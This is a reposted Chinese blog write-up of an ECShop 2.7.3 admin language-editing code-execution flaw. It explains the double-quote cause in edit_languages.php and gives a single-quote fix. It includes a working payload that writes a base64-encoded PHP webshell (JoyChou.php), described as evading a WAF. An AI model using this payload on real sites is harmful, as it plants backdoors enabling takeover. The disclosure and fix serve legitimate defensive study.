博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
【转】ecshop后台语言项执行漏洞详解
阅读量:6937 次
发布时间:2019-06-27

本文共 2388 字,大约阅读时间需要 7 分钟。

该漏洞需要能登录ecshop后台权限,简单修改下语言项目,即可在网站植入木马后门。 以下是详细分析 1.登陆到ecshop台后,选择模板管理,语言项编辑,搜索用户信息 为什么要搜索用户

该漏洞需要能登录ecshop后台权限,简单修改下语言项目,即可在网站植入木马后门。 以下是详细分析

1.登陆到ecshop台后,选择模板管理,语言项编辑,搜索“用户信息”

4

为什么要搜索“用户信息”,还可以搜索其它的吗?

答案是搜索languages\zh_cn\user.php文件里任何一个变量都可以

ecshop后台语言项执行漏洞详解

2.添加如下后门,将用户信息改为

用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}

即生成一个JoyChou.php文件,内容为(可以过安全狗的一句话哦):

ecshop后台语言项执行漏洞详解

3.访问user.php即可产生shell(不用注册登录账户)

http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php

http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php
3
漏洞产生原因 在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。 for ($i = 0; $i count($_POST[item_id]); $i++) { /* 语言项内容如果为空,不修

 

 漏洞产生原因

在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。

for ($i = 0; $i < count($_POST['item_id']); $i++)    {        /* 语言项内容如果为空,不修改 */        if (trim($_POST['item_content'][$i]) == '')        {            unset($src_items[$i]);        }        else        {            $_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]);            /* $_POST['item_content'][$i]是修改后增加的内容,即增加的"用户信息${${fputs(fopen"等内容               $dst_items[$i] 是 $_LANG['label_profile'] = "用户信息${${fputs(fopen";             */            $dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';        }    }

修改完后文件\languages\zh_cn\user.php变量为:注意是双引号哦

$_LANG['label_profile'] = "用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}";

ecshop后台语言项执行漏洞详解

由于是双引号,所以只要在任意的php文件中引用这个变量,代码就会成功执行。

至于为什么可以执行?原理如下:

下面这三句话都可以执行,与其说代码执行,不如说参数执行。

")}}";$d = "asdf{${phpinfo()}}"; // {字符前可以随意加字符串?>

而http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php这个文件包含\languages\zh_cn\user.php 这个文件,所以也可以代码执行。

/* 载入语言文件 */require_once(ROOT_PATH . 'languages/' .$_CFG['lang']. '/user.php');

5. 漏洞修复

了解了漏洞原理后,修复就是一件比较简单的事情,只需将双引号改为单引号

修改\admin\edit_languages.php

// 修复前$dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';  // 修复后,由于想在单引号之间出现单引号,必须使用转义。$dst_items[$i] = $_POST['item_id'][$i] .' = '. '\'' .$_POST['item_content'][$i]. '\';';

修复后,测试一下,是否还有漏洞。

再次修改“用户信息”内容为之前修改的内容。打开\languages\zh_cn\user.php可以看到变量已经变为了单引号

ecshop后台语言项执行漏洞详解

再次访问http://www.zuimoban.com/ECShop_V2.7.3_UTF8_release0411/user.php已经不能生成JoyChou.php,代码没能得到执行。

(责任编辑:最模板)

转载于:https://www.cnblogs.com/suan07lai/p/4329707.html

你可能感兴趣的文章
Linux运维常用命令总结
查看>>
敏捷个人手机应用iOS和Android公开注册
查看>>
Skype for Business Server 2015-11-Web Application Proxy-部署
查看>>
kubernetes集群配置serviceaccount
查看>>
Apache的prefork模式和worker模式
查看>>
【我的Linux,我做主!】Linux在我心中你最美!
查看>>
开源网络备份软件bacula( 启动与关闭bacula)
查看>>
linux运维前景与运维人员最佳职业规划录像
查看>>
Proxmox 使用nfs备份及存储iso
查看>>
大学知识下放高中:平面法向量的求法
查看>>
win系统下Cygwin 安装和sftp环境搭建
查看>>
Microsoft Dynamics CRM 2013 Reporting Extensions 正式安装
查看>>
IE11下使用fixed定位时鼠标滚动不平滑
查看>>
Sys.dm_os_ring_buffers内幕
查看>>
Android第十五期 - Viewpage+Fragment页面滑动加载数据
查看>>
《zabbix监控配置邮件报警》
查看>>
过滤/var/log/messages中的net-snmp日志
查看>>
系统内存耗尽的案例分析
查看>>
ubuntukylin13.10装机体验
查看>>
出现“No recognized SSL/TLS toolkit detected”错误之解决
查看>>